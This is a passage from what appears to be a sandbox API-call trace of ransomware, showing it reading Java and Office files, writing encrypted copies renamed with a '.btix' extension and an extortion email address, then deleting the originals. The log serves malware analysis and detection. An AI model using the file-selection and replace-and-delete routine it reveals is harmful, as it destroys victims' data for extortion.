Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0047.932] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 1 [0047.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0047.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0047.932] lstrlenW (lpString=".doc") returned 4 [0047.932] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0047.932] lstrlenW (lpString=".docx") returned 5 [0047.932] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0047.932] lstrlenW (lpString=".pdf") returned 4 [0047.932] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0047.932] lstrlenW (lpString=".xls") returned 4 [0047.932] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0047.932] lstrlenW (lpString=".xlsx") returned 5 [0047.932] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0047.932] lstrlenW (lpString=".ppt") returned 4 [0047.932] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0047.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0047.932] lstrlenW (lpString=".zip") returned 4 [0047.932] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0047.933] lstrlenW (lpString=".rar") returned 4 [0047.933] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0047.933] lstrlenW (lpString=".bz2") returned 4 [0047.933] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0047.933] lstrlenW (lpString=".7z") returned 3 [0047.933] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0047.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0047.933] lstrlenW (lpString=".dbf") returned 4 [0047.933] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0047.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0047.933] lstrlenW (lpString=".1cd") returned 4 [0047.933] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0047.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0047.933] lstrlenW (lpString=".jpg") returned 4 [0047.933] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0047.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0047.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0047.933] lstrlenW (lpString=".doc") returned 4 [0047.933] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0047.933] lstrlenW (lpString=".docx") returned 5 [0047.933] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0047.933] lstrlenW (lpString=".pdf") returned 4 [0047.933] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0047.933] lstrlenW (lpString=".xls") returned 4 [0047.933] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0047.933] lstrlenW (lpString=".xlsx") returned 5 [0047.933] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0047.933] lstrlenW (lpString=".ppt") returned 4 [0047.933] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0047.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0047.933] lstrlenW (lpString=".zip") returned 4 [0047.933] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0047.934] lstrlenW (lpString=".rar") returned 4 [0047.934] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0047.934] lstrlenW (lpString=".bz2") returned 4 [0047.934] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0047.934] lstrlenW (lpString=".7z") returned 3 [0047.934] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0047.934] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0047.934] lstrlenW (lpString=".dbf") returned 4 [0047.934] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0047.934] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0047.934] lstrlenW (lpString=".1cd") returned 4 [0047.934] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0047.934] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 45 [0047.934] lstrlenW (lpString=".jpg") returned 4 [0047.934] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0047.934] lstrcmpiW (lpString1=".txt", lpString2=".btix") returned 1 [0047.934] lstrlenW (lpString="THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 34 [0047.934] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0047.934] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=63933) returned 1 [0047.934] CloseHandle (hObject=0x394) returned 1 [0047.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 0x20 [0047.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0047.935] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0047.935] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.935] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.935] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.935] GetLastError () returned 0x0 [0047.935] ReadFile (in: hFile=0x394, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0xf9bd, lpOverlapped=0x0) returned 1 [0047.965] WriteFile (in: hFile=0x318, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf9c0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xf9c0, lpOverlapped=0x0) returned 1 [0047.967] ReadFile (in: hFile=0x394, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0047.967] WriteFile (in: hFile=0x318, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x118, lpOverlapped=0x0) returned 1 [0047.967] SetEndOfFile (hFile=0x318) returned 1 [0047.967] CloseHandle (hObject=0x318) returned 1 [0047.969] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.969] SetEndOfFile (hFile=0x394) returned 1 [0047.970] CloseHandle (hObject=0x394) returned 1 [0047.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0047.971] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 1 [0047.971] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0047.971] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0047.971] lstrlenW (lpString=".doc") returned 4 [0047.971] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0047.971] lstrlenW (lpString=".docx") returned 5 [0047.971] lstrcmpiW (lpString1=".docx", lpString2="X.txt") returned -1 [0047.971] lstrlenW (lpString=".pdf") returned 4 [0047.971] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0047.971] lstrlenW (lpString=".xls") returned 4 [0047.971] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0047.971] lstrlenW (lpString=".xlsx") returned 5 [0047.971] lstrcmpiW (lpString1=".xlsx", lpString2="X.txt") returned -1 [0047.971] lstrlenW (lpString=".ppt") returned 4 [0047.971] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0047.971] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0047.971] lstrlenW (lpString=".zip") returned 4 [0047.971] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0047.971] lstrlenW (lpString=".rar") returned 4 [0047.971] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0047.971] lstrlenW (lpString=".bz2") returned 4 [0047.971] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0047.971] lstrlenW (lpString=".7z") returned 3 [0047.971] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0047.971] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0047.971] lstrlenW (lpString=".dbf") returned 4 [0047.972] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0047.972] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0047.972] lstrlenW (lpString=".1cd") returned 4 [0047.972] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0047.972] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0047.972] lstrlenW (lpString=".jpg") returned 4 [0047.972] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0047.972] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0047.972] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0047.972] lstrlenW (lpString=".doc") returned 4 [0047.972] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0047.972] lstrlenW (lpString=".docx") returned 5 [0047.972] lstrcmpiW (lpString1=".docx", lpString2="X.txt") returned -1 [0047.972] lstrlenW (lpString=".pdf") returned 4 [0047.972] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0047.972] lstrlenW (lpString=".xls") returned 4 [0047.972] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0047.972] lstrlenW (lpString=".xlsx") returned 5 [0047.972] lstrcmpiW (lpString1=".xlsx", lpString2="X.txt") returned -1 [0047.972] lstrlenW (lpString=".ppt") returned 4 [0047.972] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0047.972] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0047.972] lstrlenW (lpString=".zip") returned 4 [0047.972] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0047.972] lstrlenW (lpString=".rar") returned 4 [0047.972] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0047.972] lstrlenW (lpString=".bz2") returned 4 [0047.972] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0047.972] lstrlenW (lpString=".7z") returned 3 [0047.972] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0047.972] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0047.972] lstrlenW (lpString=".dbf") returned 4 [0047.972] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0047.972] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0047.972] lstrlenW (lpString=".1cd") returned 4 [0047.973] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0047.973] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0047.973] lstrlenW (lpString=".jpg") returned 4 [0047.973] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0047.973] lstrcmpiW (lpString1=".txt", lpString2=".btix") returned 1 [0047.973] lstrlenW (lpString="THIRDPARTYLICENSEREADME.txt") returned 27 [0047.973] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0047.973] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=145180) returned 1 [0047.973] CloseHandle (hObject=0x394) returned 1 [0047.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 0x20 [0047.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0047.973] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0047.973] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.973] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.973] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.974] GetLastError () returned 0x0 [0047.974] ReadFile (in: hFile=0x394, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x2371c, lpOverlapped=0x0) returned 1 [0048.029] WriteFile (in: hFile=0x318, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x23720, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x23720, lpOverlapped=0x0) returned 1 [0048.032] ReadFile (in: hFile=0x394, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0048.032] WriteFile (in: hFile=0x318, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x10a, lpOverlapped=0x0) returned 1 [0048.032] SetEndOfFile (hFile=0x318) returned 1 [0048.032] CloseHandle (hObject=0x318) returned 1 [0048.035] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.035] SetEndOfFile (hFile=0x394) returned 1 [0048.036] CloseHandle (hObject=0x394) returned 1 [0048.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0048.036] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 1 [0048.037] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0048.037] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0048.037] lstrlenW (lpString=".doc") returned 4 [0048.037] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0048.037] lstrlenW (lpString=".docx") returned 5 [0048.037] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0048.037] lstrlenW (lpString=".pdf") returned 4 [0048.037] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0048.037] lstrlenW (lpString=".xls") returned 4 [0048.037] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0048.037] lstrlenW (lpString=".xlsx") returned 5 [0048.037] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0048.037] lstrlenW (lpString=".ppt") returned 4 [0048.037] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0048.037] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0048.037] lstrlenW (lpString=".zip") returned 4 [0048.037] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0048.037] lstrlenW (lpString=".rar") returned 4 [0048.037] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0048.037] lstrlenW (lpString=".bz2") returned 4 [0048.037] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0048.037] lstrlenW (lpString=".7z") returned 3 [0048.037] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0048.037] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0048.037] lstrlenW (lpString=".dbf") returned 4 [0048.037] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0048.037] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0048.037] lstrlenW (lpString=".1cd") returned 4 [0048.037] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0048.037] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0048.037] lstrlenW (lpString=".jpg") returned 4 [0048.037] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0048.038] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0048.038] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0048.038] lstrlenW (lpString=".doc") returned 4 [0048.038] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0048.038] lstrlenW (lpString=".docx") returned 5 [0048.038] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0048.038] lstrlenW (lpString=".pdf") returned 4 [0048.038] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0048.038] lstrlenW (lpString=".xls") returned 4 [0048.038] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0048.038] lstrlenW (lpString=".xlsx") returned 5 [0048.038] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0048.038] lstrlenW (lpString=".ppt") returned 4 [0048.038] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0048.038] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0048.038] lstrlenW (lpString=".zip") returned 4 [0048.038] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0048.038] lstrlenW (lpString=".rar") returned 4 [0048.038] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0048.038] lstrlenW (lpString=".bz2") returned 4 [0048.038] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0048.038] lstrlenW (lpString=".7z") returned 3 [0048.038] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0048.038] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0048.038] lstrlenW (lpString=".dbf") returned 4 [0048.038] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0048.038] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0048.038] lstrlenW (lpString=".1cd") returned 4 [0048.038] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0048.038] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0048.038] lstrlenW (lpString=".jpg") returned 4 [0048.038] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0048.039] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0048.039] lstrlenW (lpString="FileSystemMetadata.xml") returned 22 [0048.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0048.039] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=281) returned 1 [0048.039] CloseHandle (hObject=0x394) returned 1 [0048.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 0x220 [0048.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0048.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0048.039] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.039] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0048.039] GetLastError () returned 0x0 [0048.039] ReadFile (in: hFile=0x394, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x119, lpOverlapped=0x0) returned 1 [0048.040] WriteFile (in: hFile=0x318, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x120, lpOverlapped=0x0) returned 1 [0048.041] ReadFile (in: hFile=0x394, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0048.041] WriteFile (in: hFile=0x318, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x100, lpOverlapped=0x0) returned 1 [0048.371] SetEndOfFile (hFile=0x318) returned 1 [0048.371] CloseHandle (hObject=0x318) returned 1 [0048.372] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.372] SetEndOfFile (hFile=0x394) returned 1 [0048.513] CloseHandle (hObject=0x394) returned 1 [0048.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0048.513] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 1 [0048.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0048.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0048.513] lstrlenW (lpString=".doc") returned 4 [0048.513] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0048.513] lstrlenW (lpString=".docx") returned 5 [0048.513] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0048.513] lstrlenW (lpString=".pdf") returned 4 [0048.514] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0048.514] lstrlenW (lpString=".xls") returned 4 [0048.514] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0048.514] lstrlenW (lpString=".xlsx") returned 5 [0048.514] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0048.514] lstrlenW (lpString=".ppt") returned 4 [0048.514] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0048.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0048.514] 